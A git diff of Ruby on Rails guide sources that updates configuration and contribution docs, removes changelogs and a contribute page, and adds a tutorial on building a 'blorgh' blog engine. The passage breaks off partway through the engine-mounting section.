-* +Rack::Sendfile+ Intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+.
-* +ActionDispatch::Callbacks+ Runs the prepare callbacks before serving the request.
+* +Rack::Lock+ wraps the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default.
+* +ActiveSupport::Cache::Strategy::LocalCache+ serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
+* +Rack::Runtime+ sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request.
+* +Rails::Rack::Logger+ notifies the logs that the request has began. After request is complete, flushes all the logs.
+* +ActionDispatch::ShowExceptions+ rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless.
+* +ActionDispatch::RequestId+ makes a unique X-Request-Id header available to the response and enables the +ActionDispatch::Request#uuid+ method.
+* +ActionDispatch::RemoteIp+ checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings.
+* +Rack::Sendfile+ intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+.
+* +ActionDispatch::Callbacks+ runs the prepare callbacks before serving the request.
* +ActiveRecord::ConnectionAdapters::ConnectionManagement+ cleans active connections after each request, unless the +rack.test+ key in the request environment is set to +true+.
* +ActiveRecord::QueryCache+ caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned.
* +ActionDispatch::Cookies+ sets cookies for the request.
@@ -249,6 +266,8 @@ h4. Configuring Active Record
* +config.active_record.whitelist_attributes+ will create an empty whitelist of attributes available for mass-assignment security for all models in your app.
+* +config.active_record.identity_map+ controls whether the identity map is enabled, and is false by default.
+
The MySQL adapter adds one additional configuration option:
* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether Active Record will consider all +tinyint(1)+ columns in a MySQL database to be booleans and is true by default.
@@ -449,12 +468,31 @@ Rails has 5 initialization events which can be hooked into (listed in the order
* +before_initialize+: This is run directly before the initialization process of the application occurs with the +:bootstrap_hook+ initializer near the beginning of the Rails initialization process.
-* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built.
+* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in +development+, but only once (during boot-up) in +production+ and +test+.
* +before_eager_load+: This is run directly before eager loading occurs, which is the default behaviour for the _production_ environment and not for the +development+ environment.
* +after_initialize+: Run directly after the initialization of the application, but before the application initializers are run.
+To define an event for these hooks, use the block syntax within a +Rails::Aplication+, +Rails::Railtie+ or +Rails::Engine+ subclass:
+
+<ruby>
+module YourApp
+ class Application < Rails::Application
+ config.before_initialize do
+ # initialization code goes here
+ end
+ end
+end
+</ruby>
+
+Alternatively, you can also do it through the +config+ method on the +Rails.application+ object:
+
+<ruby>
+Rails.application.config.before_initialize do
+ # initialization code goes here
+end
+</ruby>
WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called.
@@ -557,7 +595,7 @@ The error occurred while evaluating nil.each
*+set_load_path+* This initializer runs before +bootstrap_hook+. Adds the +vendor+, +lib+, all directories of +app+ and any paths specified by +config.load_paths+ to +$LOAD_PATH+.
-*+set_autoload_path+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+.
+*+set_autoload_paths+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+.
*+add_routing_paths+* Loads (by default) all +config/routes.rb+ files (in the application and railties, including engines) and sets up the routes for the application.
@@ -592,11 +630,3 @@ The error occurred while evaluating nil.each
*+set_routes_reloader+* Configures Action Dispatch to reload the routes file using +ActionDispatch::Callbacks.to_prepare+.
*+disable_dependency_loading+* Disables the automatic dependency loading if the +config.cache_classes+ is set to true and +config.dependency_loading+ is set to false.
-
-h3. Changelog
-
-* December 3, 2010: Added initialization events for Rails 3 ("Ryan Bigg":http://ryanbigg.com)
-* November 26, 2010: Removed all config settings not available in Rails 3 ("Ryan Bigg":http://ryanbigg.com)
-* August 13, 2009: Updated with config syntax and added general configuration options by "John Pignata"
-* January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy
-* November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy
diff --git a/railties/guides/source/contribute.textile b/railties/guides/source/contribute.textile
deleted file mode 100644
index f9bb80861c..0000000000
--- a/railties/guides/source/contribute.textile
+++ /dev/null
@@ -1,70 +0,0 @@
-h2. Contribute to the Rails Guides
-
-Rails Guides aim to improve the Rails documentation and to make the barrier to entry as low as possible. A reasonably experienced developer should be able to use the guides to come up to speed on Rails quickly. Our sponsors have contributed prizes for those who write an entire guide, but there are many other ways to contribute.
-
-endprologue.
-
-h3. How to Contribute?
-
-* We have an open commit policy: anyone is welcome to contribute and to review contributions.
-* "docrails is hosted on GitHub":https://github.com/lifo/docrails and has public write access.
-* Guides are written in Textile, and reside at +railties/guides/source+ in the docrails project.
-* Follow the "Rails Guides Conventions":https://wiki.github.com/lifo/docrails/rails-guides-conventions.
-* Assets are stored in the +railties/guides/assets+ directory.
-* Sample format : "Active Record Associations":https://github.com/lifo/docrails/blob/3e56a3832415476fdd1cb963980d0ae390ac1ed3/railties/guides/source/association_basics.textile.
-* Sample output : "Active Record Associations":association_basics.html.
-* You can build the Guides during testing by running +bundle exec rake generate_guides+ in the +railties+ directory.
-* You're encouraged to validate XHTML for the generated guides before committing your changes by running +bundle exec rake validate_guides+ in the +railties+ directory.
-* Edge guides "can be consulted online":http://edgeguides.rubyonrails.org/. That website is generated periodically from docrails.
-
-h3. What to Contribute?
-
-* We need authors, editors, proofreaders, and translators. Adding a single paragraph of quality content to a guide is a good way to get started.
-* The easiest way to start is by improving an existing guide:
-** Improve the structure to make it more coherent.
-** Add missing information.
-** Correct any factual errors.
-** Fix typos or improve style.
-** Bring it up to date with the latest Edge Rails.
-* We're also open to suggestions for entire new guides:
-** Contact lifo or fxn to get your idea approved. See the Contact section below.
-** If you're the main author on a significant guide, you're eligible for the prizes.
-
-h3. How is the process?
-
-* The preferred way to contribute is to commit to docrails directly.
-* A new guide is only edited by its author until finished though.
-* If you are writing a new guide freely commit to docrails partial work and ping lifo or fxn when done with a first draft.
-* Guides reviewers will then provide feedback, some of it possibly in form of direct commits to agilize the process.
-* Eventually the guide will be approved and added to the index.
-
-h3. Prizes
-
-For each completed guide, the lead contributor will receive all of the following prizes:
-
-* $200 from Caboose Rails Documentation Project.
-* 1 year of GitHub Micro account worth $84.
-* 1 year of RPM Basic (Production performance management) for up to 10 hosts worth 12 months x $40 per host x 10 hosts = $4800. And also, savings of $45 per host per month over list price to upgrade to advanced product.
-
-h3. Rules
-
-* Guides are licensed under a Creative Commons Attribution-Share Alike 3.0 License.
-* If you're not sure whether a guide is actively being worked on, stop by IRC and ask.
-* If the same guide writer wants to write multiple guides, that's ideally the situation we'd love to be in! However, that guide writer will only receive the cash prize for all the subsequent guides (and not the GitHub or RPM prizes).
-* Our review team will have the final say on whether the guide is complete and of good enough quality.
-
-All authors should read and follow the "Rails Guides Conventions":ruby_on_rails_guides_guidelines.html and the "Rails API Documentation Conventions":api_documentation_guidelines.html.
-
-h3. Translations
-
-The translation effort for the Rails Guides is just getting underway. We know about projects to translate the Guides into Spanish, Portuguese, Polish, and French. For more details or to get involved see the "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides page.
-
-h3. Mailing List
-
-"Ruby on Rails: Documentation":http://groups.google.com/group/rubyonrails-docs is the mailing list for all the guides/documentation related discussions.
-
-h3. Contact
-
-* IRC : #docrails channel in irc.freenode.net
-* Twitter: "@docrails":http://twitter.com/docrails, "@lifo":http://twitter.com/lifo, "@fxn":http://twitter.com/fxn
-* Email : pratiknaik aT gmail, fxn aT hashref dot com
diff --git a/railties/guides/source/contributing_to_ruby_on_rails.textile b/railties/guides/source/contributing_to_ruby_on_rails.textile
index e6ec061c9a..37ead2bff2 100644
--- a/railties/guides/source/contributing_to_ruby_on_rails.textile
+++ b/railties/guides/source/contributing_to_ruby_on_rails.textile
@@ -87,24 +87,23 @@ $ bundle install --without db
This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back at these soon. With dependencies installed, you can run the test suite with:
<shell>
-$ rake test
+$ bundle exec rake test
</shell>
You can also run tests for a specific framework, like Action Pack, by going into its directory and executing the same command:
<shell>
$ cd actionpack
-$ rake test
+$ bundle exec rake test
</shell>
If you want to run tests from the specific directory use the +TEST_DIR+ environment variable. For example, this will run tests inside +railties/test/generators+ directory only:
<shell>
$ cd railties
-$ TEST_DIR=generators rake test
+$ TEST_DIR=generators bundle exec rake test
</shell>
-
h4. Warnings
The test suite runs with warnings enabled. Ideally Ruby on Rails should issue no warning, but there may be a few, and also some from third-party libraries. Please ignore (or fix!) them if any, and submit patches that do not issue new warnings.
@@ -112,7 +111,7 @@ The test suite runs with warnings enabled. Ideally Ruby on Rails should issue no
As of this writing they are specially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
<shell>
-$ RUBYOPT=-W0 rake test
+$ RUBYOPT=-W0 bundle exec rake test
</shell>
h4. Testing Active Record
@@ -121,13 +120,17 @@ The test suite of Active Record attempts to run four times, once for SQLite3, on
WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
+h5. Set up Database Configuration
+
+The Active Record test suite requires a custom config file: +activerecord/test/config.yml+. An example is provided in +activerecord/test/config.example.yml+ which can be copied and used as needed for your environment.
+
h5. SQLite3
The gem +sqlite3-ruby+ does not belong to the "db" group indeed, if you followed the instructions above you're ready. This is how you run the Active Record test suite only for SQLite3:
<shell>
$ cd activerecord
-$ rake test_sqlite3
+$ bundle exec rake test_sqlite3
</shell>
h5. MySQL and PostgreSQL
@@ -192,27 +195,27 @@ test_postgresql
respectively. As we mentioned before
<shell>
-$ rake test
+$ bundle exec rake test
</shell>
will now run the four of them in turn.
-You can also invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the continuous integration server runs.
+You can also invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/travis.rb+ to see the test suite that the continuous integration server runs.
h4. Older versions of Ruby on Rails
-If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 2-3-stable branch:
+If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:
<shell>
-$ git branch --track 2-3-stable origin/2-3-stable
-$ git checkout 2-3-stable
+$ git branch --track 3-0-stable origin/3-0-stable
+$ git checkout 3-0-stable
</shell>
TIP: You may want to "put your git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with.
h3. Helping to Resolve Existing Issues
-As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "Everyone's Issues":https://github.com/rails/rails/issues?sort=created&direction=desc&state=open&page=1 list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
+As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "Everyone's Issues":https://github.com/rails/rails/issues list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
h4. Verifying Bug Reports
@@ -258,16 +261,18 @@ h3. Contributing to the Rails Documentation
Ruby on Rails has two main sets of documentation: The guides help you to learn Ruby on Rails, and the API is a reference.
-You can create an issue in GitHub issues to fix or expand documentation. However, if you're confident about your changes you can push them yourself directly via "docrails":https://github.com/lifo/docrails/tree/master. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
+You can help improve the Rails guides by making them more coherent, adding missing information, correcting factual errors, fixing typos, bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides.
+
+If you're confident about your changes, you can push them yourself directly via "docrails":https://github.com/lifo/docrails. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
+
+If you are unsure of the documentation changes, you can create an issue in the "Rails":https://github.com/rails/rails/issues issues tracker on GitHub.
When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html.
-NOTE: As explained above, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements.
+NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements.
WARNING: docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.
-If you have an idea for a new guide you can refer to the "contribution page":contribute.html for instructions on getting involved.
-
h3. Contributing to the Rails Code
h4. Clone the Rails Repository
@@ -285,7 +290,7 @@ $ cd rails
$ git checkout -b my_new_branch
</shell>
-It doesn’t really matter what name you use, because this branch will only exist on your local computer.
+It doesn’t really matter what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails git repository.
h4. Write Your Code
@@ -382,13 +387,3 @@ And then...think about your next contribution!
h3. Rails Contributors
All contributions, either via master or docrails, get credit in "Rails Contributors":http://contributors.rubyonrails.org.
-
-h3. Changelog
-
-* May 12, 2011: Modified to prefer topic branches instead of master branch for users contributions by "Guillermo Iguaran":http://quillarb.org
-* April 29, 2011: Reflect GitHub Issues and Pull Request workflow by "Dan Pickett":http://www.enlightsolutions.com
-* April 14, 2011: Modified Contributing to the Rails Code section to add '[#ticket_number state:commited]' on patches commit messages by "Sebastian Martinez":http://wyeworks.com
-* December 28, 2010: Complete revision by "Xavier Noria":credits.html#fxn
-* April 6, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com
-* August 1, 2009: Updates/amplifications by "Mike Gunderloy":credits.html#mgunderloy
-* March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy
diff --git a/railties/guides/source/debugging_rails_applications.textile b/railties/guides/source/debugging_rails_applications.textile
index f5bee52b5a..3552c68418 100644
--- a/railties/guides/source/debugging_rails_applications.textile
+++ b/railties/guides/source/debugging_rails_applications.textile
@@ -712,10 +712,3 @@ h3. References
* "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/
* "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging
* "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html
-
-h3. Changelog
-
-* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com
-* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by "Emilio Tagua":credits.html#miloops
-* October 19, 2008: Copy editing pass by "Mike Gunderloy":credits.html#mgunderloy
-* September 16, 2008: initial version by "Emilio Tagua":credits.html#miloops
diff --git a/railties/guides/source/engines.textile b/railties/guides/source/engines.textile
new file mode 100644
index 0000000000..694b36bea1
--- /dev/null
+++ b/railties/guides/source/engines.textile
@@ -0,0 +1,618 @@
+h2. Getting Started with Engines
+
+In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. You will learn the following things in this guide:
+
+* What makes an engine
+* How to generate an engine
+* Building features for the engine
+* Hooking the engine into an application
+* Overriding engine functionality in the application
+
+endprologue.
+
+h3. What are engines?
+
+Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the +Rails::Application+ class inheriting from +Rails::Engine+. Therefore, engines and applications share common functionality but are at the same time two separate beasts. Engines and applications also share a common structure, as you'll see throughout this guide.
+
+Engines are also closely related to plugins where the two share a common +lib+ directory structure and are both generated using the +rails plugin new+ generator.
+
+The engine that will be generated for this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. For now, you will be working solely within the engine itself and in later sections you'll see how to hook it into an application.
+
+Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as +posts_path+ and use an engine also that provides a path also called +posts_path+, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.
+
+To see demonstrations of other engines, check out "Devise":https://github.com/plataformatec/devise, an engine that provides authentication for its parent applications, or "Forem":https://github.com/radar/forem, an engine that provides forum functionality.
+
+Finally, engines would not have be possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!
+
+h3. Generating an engine
+
+To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the +--mountable+ option. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal:
+
+<shell>
+$ rails plugin new blorgh --mountable
+</shell>
+
+The +--mountable+ option tells the plugin generator that you want to create an engine (which is a mountable plugin, hence the option name), creating the basic directory structure of an engine by providing things such as the foundations of an +app+ folder, as well a +config/routes.rb+ file. This generator also provides a file at +lib/blorgh/engine.rb+ which is identical in function to an application's +config/application.rb+ file.
+
+h4. Inside an engine
+
+h5. Critical files
+
+At the root of the engine's directory, lives a +blorgh.gemspec+ file. When you include the engine into the application later on, you will do so with this line in a Rails application's +Gemfile+:
+
+<ruby>
+ gem 'blorgh', :path => "vendor/engines/blorgh"
+</ruby>
+
+By specifying it as a gem within the +Gemfile+, Bundler will load it as such, parsing this +blorgh.gemspec+ file and requiring a file within the +lib+ directory called +lib/blorgh.rb+. This file requires the +blorgh/engine.rb+ file (located at +lib/blorgh/engine.rb+) and defines a base module called +Blorgh+.
+
+<ruby>
+require "blorgh/engine"
+
+module Blorgh
+end
+</ruby>
+
+Within +lib/blorgh/engine.rb+ is the base class for the engine:
+
+<ruby>
+module Blorgh
+ class Engine < Rails::Engine
+ isolate_namespace Blorgh
+ end
+end
+</ruby>
+
+By inheriting from the +Rails::Engine+ class, this engine gains all the functionality it needs, such as being able to serve requests to its controllers.
+
+The +isolate_namespace+ method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption. It is recommended that this line be left within this file.
+
+h5. +app+ directory
+
+Inside the +app+ directory there lives the standard +assets+, +controllers+, +helpers+, +mailers+, +models+ and +views+ directories that you should be familiar with from an application. The +helpers+, +mailers+ and +models+ directories are empty and so aren't described in this section. We'll look more into models in a future section.
+
+Within the +app/assets+ directory, there is the +images+, +javascripts+ and +stylesheets+ directories which, again, you should be familiar with due to their similarities of an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.
+
+Within the +app/controllers+ directory there is a +blorgh+ directory and inside that a file called +application_controller.rb+. This file will provide any common functionality for the controllers of the engine. The +blorgh+ directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.
+
+Lastly, the +app/views+ directory contains a +layouts+ folder which contains file at +blorgh/application.html.erb+ which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the applications +app/views/layouts/application.html.erb+ file.
+
+h5. +script+ directory
+
+This directory contains one file, +script/rails+, which allows you to use the +rails+ sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine.
+
+h5. +test+ directory
+
+The +test+ directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at +test/dummy+. This application will mount the engine in the +test/dummy/config/routes.rb+ file:
+
+<ruby>
+Rails.application.routes.draw do
+
+ mount Blorgh::Engine => "/blorgh"
+end
+</ruby>
+
+This line mounts the engine at the path of +/blorgh+, which will make it accessible through the application only at that path. We will look more into mounting an engine after some features have been developed.
+
+Also in the test directory is the +test/integration+ directory, where integration tests for the engine should be placed.
+
+h3. Providing engine functionality
+
+The engine that this guide covers will provide posting and commenting functionality and follows a similar thread to the "Getting Started Guide":getting-started.html, with some new twists.
+
+h4. Generating a post resource
+
+The first thing to generate for a blog engine is the +Post+ model and related controller. To quickly generate this, you can use the Rails scaffold generator.
+
+<shell>
+$ rails generate scaffold post title:string text:text
+</shell>
+
+This command will output this information:
+
+<shell>
+invoke active_record
+create db/migrate/[timestamp]_create_blorgh_posts.rb
+create app/models/blorgh/post.rb
+invoke test_unit
+create test/unit/blorgh/post_test.rb
+create test/fixtures/blorgh/posts.yml
+ route resources :posts
+invoke scaffold_controller
+create app/controllers/blorgh/posts_controller.rb
+invoke erb
+create app/views/blorgh/posts
+create app/views/blorgh/posts/index.html.erb
+create app/views/blorgh/posts/edit.html.erb
+create app/views/blorgh/posts/show.html.erb
+create app/views/blorgh/posts/new.html.erb
+create app/views/blorgh/posts/_form.html.erb
+invoke test_unit
+create test/functional/blorgh/posts_controller_test.rb
+invoke helper
+create app/helpers/blorgh/posts_helper.rb
+invoke test_unit
+create test/unit/helpers/blorgh/posts_helper_test.rb
+invoke assets
+invoke js
+create app/assets/javascripts/blorgh/posts.js
+invoke css
+create app/assets/stylesheets/blorgh/posts.css
+invoke css
+create app/assets/stylesheets/scaffold.css
+</shell>
+
+The first thing that the scaffold generator does is invoke the +active_record+ generator, which generates a migration and a model for the resource. Note here, however, that the migration is called +create_blorgh_posts+ rather than the usual +create_posts+. This is due to the +isolate_namespace+ method called in the +Blorgh::Engine+ class's definition. The model here is also namespaced, being placed at +app/models/blorgh/post.rb+ rather than +app/models/post.rb+.
+
+Next, the +test_unit+ generator is invoked for this model, generating a unit test at +test/unit/blorgh/post_test.rb+ (rather than +test/unit/post_test.rb+) and a fixture at +test/fixtures/blorgh/posts.yml+ (rather than +test/fixtures/posts.yml+).
+
+After that, a line for the resource is inserted into the +config/routes.rb+ file for the engine. This line is simply +resources :posts+, turning the +config/routes.rb+ file into this:
+
+<ruby>
+Blorgh::Engine.routes.draw do
+ resources :posts
+
+end
+</ruby>
+
+Note here that the routes are drawn upon the +Blorgh::Engine+ object rather than the +YourApp::Application+ class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the "test directory":#test-directory section.
+
+Next, the +scaffold_controller+ generator is invoked, generating a controlled called +Blorgh::PostsController+ (at +app/controllers/blorgh/posts_controller.rb+) and its related views at +app/views/blorgh/posts+. This generator also generates a functional test for the controller (+test/functional/blorgh/posts_controller_test.rb+) and a helper (+app/helpers/blorgh/posts_controller.rb+).
+
+Everything this generator has generated is neatly namespaced. The controller's class is defined within the +Blorgh+ module:
+
+<ruby>
+module Blorgh
+ class PostsController < ApplicationController
+ ...
+ end
+end
+</ruby>
+
+NOTE: The +ApplicationController+ class being inherited from here is the +Blorgh::ApplicationController+, not an application's +ApplicationController+.
+
+The helper is also namespaced:
+
+<ruby>
+module Blorgh
+ class PostsHelper
+ ...
+ end
+end
+</ruby>
+
+This helps prevent conflicts with any other engine or application that may have a post resource also.
+
+Finally, two files that are the assets for this resource are generated, +app/assets/javascripts/blorgh/posts.js+ and +app/assets/javascripts/blorgh/posts.css+. You'll see how to use these a little later.
+
+By default, the scaffold styling is not applied to the engine as the engine's layout file, +app/views/blorgh/application.html.erb+ doesn't load it. To make this apply, insert this line into the +<head>+ tag of this layout:
+
+<erb>
+<%= stylesheet_link_tag "scaffold" %>
+</erb>
+
+You can see what the engine has so far by running +rake db:migrate+ at the root of our engine to run the migration generated by the scaffold generator, and then running +rails server+. When you open +http://localhost:3000/blorgh/posts+ you will see the default scaffold that has been generated.
+
+!images/engines_scaffold.png(Blank engine scaffold)!
+
+Click around! You've just generated your first engine's first functions.
+
+If you'd rather play around in the console, +rails console+ will also work just like a Rails application. Remember: the +Post+ model is namespaced, so to reference it you must call it as +Blorgh::Post+.
+
+<ruby>
+ >> Blorgh::Post.find(1)
+ => #<Blorgh::Post id: 1 ...>
+</ruby>
+
+One final thing is that the +posts+ resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the +config/routes.rb+ file inside the engine:
+
+<ruby>
+root :to => "posts#index"
+</ruby>
+
+Now people will only need to go to the root of the engine to see all the posts, rather than visiting +/posts+.
+
+h4. Generating a comments resource
+
+Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones.
+
+Run the model generator and tell it to generate a +Comment+ model, with the related table having two columns: a +post_id+ integer and +text+ text column.
+
+<shell>
+$ rails generate model Comment post_id:integer text:text
+</shell>
+
+This will output the following:
+
+<shell>
+invoke active_record
+create db/migrate/[timestamp]_create_blorgh_comments.rb
+create app/models/blorgh/comment.rb
+invoke test_unit
+create test/unit/blorgh/comment_test.rb
+create test/fixtures/blorgh/comments.yml
+</shell>
+
+This generator call will generate just the necessary model files it needs, namespacing the files under a +blorgh+ directory and creating a model class called +Blorgh::Comment+.
+
+To show the comments on a post, edit +app/views/posts/show.html.erb+ and add this line before the "Edit" link:
+
+<erb>
+<h3>Comments</h3>
+<%= render @post.comments %>
+</erb>
+
+This line will require there to be a +has_many+ association for comments defined on the +Blorgh::Post+ model, which there isn't right now. To define one, open +app/models/blorgh/post.rb+ and add this line into the model:
+
+<ruby>
+has_many :comments
+</ruby>
+
+Turning the model into this:
+
+<ruby>
+module Blorgh
+ class Post < ActiveRecord::Base
+ has_many :comments
+ end
+end
+</ruby>
+
+Because the +has_many+ is defined inside a class that is inside the +Blorgh+ module, Rails will know that you want to use the +Blorgh::Comment+ model for these objects.
+
+Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to +render @post.comments+ in +app/views/blorgh/posts/show.html.erb+:
+
+<erb>
+<%= render "blorgh/comments/form" %>
+</erb>
+
+Next, the partial that this line will render needs to exist. Create a new directory at +app/views/blorgh/comments+ and in it a new file called +_form.html.erb+ which has this content to create the required partial:
+
+<erb>
+<h3>New comment</h3>
+<%= form_for [@post, @post.comments.build] do |f| %>
+ <p>
+ <%= f.label :text %><br />
+ <%= f.text_area :text %>
+ </p>
+ <%= f.submit %>
+<% end %>
+</erb>
+
+This form, when submitted, is going to attempt to post to a route of +posts/:post_id/comments+ within the engine. This route doesn't exist at the moment, but can be created by changing the +resources :posts+ line inside +config/routes.rb+ into these lines:
+
+<ruby>
+resources :posts do
+ resources :comments
+end
+</ruby>
+
+The route now will exist, but the controller that this route goes to does not. To create it, run this command:
+
+<shell>
+$ rails g controller comments
+</shell>
+
+This will generate the following things:
+
+<shell>
+create app/controllers/blorgh/comments_controller.rb
+invoke erb
+ exist app/views/blorgh/comments
+invoke test_unit
+create test/functional/blorgh/comments_controller_test.rb
+invoke helper
+create app/helpers/blorgh/comments_helper.rb
+invoke test_unit
+create test/unit/helpers/blorgh/comments_helper_test.rb
+invoke assets
+invoke js
+create app/assets/javascripts/blorgh/comments.js
+invoke css
+create app/assets/stylesheets/blorgh/comments.css
+</shell>
+
+The form will be making a +POST+ request to +/posts/:post_id/comments+, which will correspond with the +create+ action in +Blorgh::CommentsController+. This action needs to be created and can be done by putting the following lines inside the class definition in +app/controllers/blorgh/comments_controller.rb+:
+
+<ruby>
+def create
+ @post = Post.find(params[:post_id])
+ @comment = @post.comments.build(params[:comment])
+ flash[:notice] = "Comment has been created!"
+ redirect_to post_path
+end
+</ruby>
+
+This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error:
+
+<text>
+ Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in:
+ * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"
+ * "/Users/ryan/Sites/side_projects/blorgh/app/views"
+</text>
+
+The engine is unable to find the partial required for rendering the comments. Rails has looked firstly in the application's (+test/dummy+) +app/views+ directory and then in the engine's +app/views+ directory. When it can't find it, it will throw this error. The engine knows to look for +blorgh/comments/comment+ because the model object it is receiving is from the +Blorgh::Comment+ class.
+
+This partial will be responsible for rendering just the comment text, for now. Create a new file at +app/views/blorgh/comments/_comment.html.erb+ and put this line inside it:
+
+<erb>
+<%= comment_counter + 1 %>. <%= comment.text %>
+</erb>
+
+The +comment_counter+ local variable is given to us by the +<%= render @post.comments %>+ call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
+
+That completes the comment function of the blogging engine. Now it's time to use it within an application.
+
+h3. Hooking into an application
+
+Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required for it, as well as linking the engine to a +User+ class provided by the application to provide ownership for posts and comments within the engine.
+
+h4. Mounting the engine
+
+First, the engine needs to be specified inside the application's +Gemfile+. If there isn't an application handy to test this out in, generate one using the +rails new+ command outside of the engine directory like this:
+
+<shell>
+$ rails new unicorn
+</shell>
+
+Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.
+
+<ruby>
+gem 'devise'
+</ruby>
+
+Because the +blorgh+ engine is still under development, it will need to have a +:path+ option for its +Gemfile+ specification:
+
+<ruby>
